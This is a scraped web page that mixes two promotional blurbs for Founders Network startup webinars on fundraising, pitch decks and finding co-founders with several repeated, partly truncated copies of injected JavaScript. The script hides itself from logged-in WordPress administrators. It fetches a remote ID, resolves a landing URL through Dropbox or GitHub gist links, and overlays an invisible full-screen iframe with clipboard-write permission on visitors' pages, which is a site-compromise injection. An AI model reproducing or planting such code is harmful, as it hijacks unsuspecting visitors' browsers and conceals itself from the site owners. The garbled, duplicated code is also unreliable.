if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

In this information-packed webinar, you’ll learn:

Preparing for Fundraising

Jeff Erickson discusses the importance of thorough preparation for startup fundraising. This includes researching and targeting the right investors, understanding their preferences, and making warm introductions. Learn how to create a strong pitch deck that focuses on essential information and aims to secure a second meeting rather than immediate investment.

Building an Effective Pitch Deck

A compelling pitch deck is vital. Jeff highlights the necessity of including financial projections, a clear revenue formula, and a well-organized cap table. Understand how to present key information concisely and effectively to capture investor interest.

Maintaining Momentum with Investors

Jeff emphasizes the importance of maintaining momentum during the startup fundraising process. Utilize cap table management software to keep your financials accurate and up-to-date. Regularly update potential investors with progress reports to stay top of mind and create a sense of urgency.

Financial Models and Data Rooms

Having a solid financial model is crucial for impressing investors. Jeff explains how to tell your startup’s story through numbers, ensuring your startup fundraising is comprehensive and aligns with investor expectations. Maintaining a well-organized data room can instill confidence in investors and streamline the fundraising process.

To learn more about tech startup fundraising, see if you qualify for membership to join Founders Network.

Understanding Venture Finance

Speaking the language of venture finance is essential. Jeff provides insights into understanding venture finance terms, managing your fundraising strategy, and showcasing your business metrics effectively. Learn how to create financial projections that communicate your startup’s potential and prepare for detailed investor discussions.

Balancing Fundraising and Bootstrapping

Jeff discusses the balance between bootstrapping and seeking external investments. Understand when to bootstrap to maintain control and when to raise funds to scale your operations. Learn the importance of validating ideas with minimal funds before pursuing larger investments.

Investor Relationships and Timing

Building relationships with potential investors early on is key to a successful startup fundraising strategy. Jeff shares tips on creating urgency, scheduling meetings, and managing investor expectations. Learn how to leverage warm intros and strategic timing to enhance your fundraising efforts.

About the Speaker

Jeff Erickson leads the Partnerships Team at Forecastr, a leading FP&A software company that helps startups create great financial models to impress investors, confidently raise capital, and run their businesses more effectively. With a background in entrepreneurship and venture finance, Jeff has a proven track record of helping startups achieve explosive growth.

Summary:

“Tech Startup Fundraising: Mastering the Pitch with Financials & Forecasts” is a must-watch for any entrepreneur looking to refine their fundraising strategies. Gain practical insights on preparing for fundraising, building an effective pitch deck, maintaining investor momentum, and understanding venture finance.

Watch now and take the first step towards securing the funding your startup needs to succeed.

console.log('28du3');

console.log('28du3');

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

For startup founders, navigating this initial stage of building a business can be daunting. Finding the right co-founder, securing your first customers, and obtaining funding are critical steps that can make or break your startup’s success.

This webinar is your roadmap to securing a startup co-founder, attracting customers, and raising capital effectively.

Tooraj Helmi, an experienced entrepreneur, will guide you through the essential strategies for building a strong foundation for your startup. With a wealth of knowledge in the startup ecosystem, Tooraj knows what it takes to achieve early-stage success.

In this information-packed webinar, you’ll learn:

Defining a Founder

Tooraj describes a founder as someone who identifies a common problem and devises a scalable, simple solution. Understanding this fundamental role is the first step in building a successful startup.

Top Three Responsibilities of a Founder

• Excite: Mastering storytelling and pitching to engage stakeholders is crucial. Learn how to create compelling narratives that attract investors and partners.
• Execute: Building a team to turn your vision into reality. Tooraj shares insights on how to recruit and manage a team effectively.
• Excel: Focusing on securing cash and investments. Discover strategies for fundraising and managing finances to ensure your startup’s longevity.

Finding a Startup Co-Founder

Finding the right startup co-founder is about practicality over perfection. Tooraj highlights key characteristics to look for, such as being organized, flexible, having a matching communication style, and possessing proven skills. He also provides strategies to find a co-founder, leveraging networks from previous jobs or academic connections.

Building a Product

Developing a prototype or app requires careful planning and budgeting. Tooraj discusses the critical considerations for building your product, ensuring it meets market needs and is developed efficiently.

Acquiring Customers

The first customer is crucial for any startup development team. Tooraj explains the importance of timing for outreach and how to define and find your ideal customer persona (ICP). Learn creative strategies for customer acquisition, drawing on examples like Airbnb using Craigslist and Zenefits initially selling to HR departments.

To learn more, see if you qualify for membership to join Founders Network.

About the Speaker

Tooraj Helmi is the founder of Apsy Inc., where he leads the creation of AI-driven products transforming software development. With extensive experience in building robust product and engineering teams, and a focus on key performance metrics, Tooraj’s leadership and innovation have propelled Apsy into international markets.

Summary

“Startup Founder Firsts: How to Secure a Co-Founder, Customers, and Cash with Tooraj Helmi,” is a must-watch for any entrepreneur looking to build a strong foundation for their startup. Gain practical strategies to find the right startup co-founder, attract early customers, and secure funding to fuel your startup’s growth.

Watch now and take the first step towards driving your startup’s success.

console.log('28du3');

console.log('28du3');

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

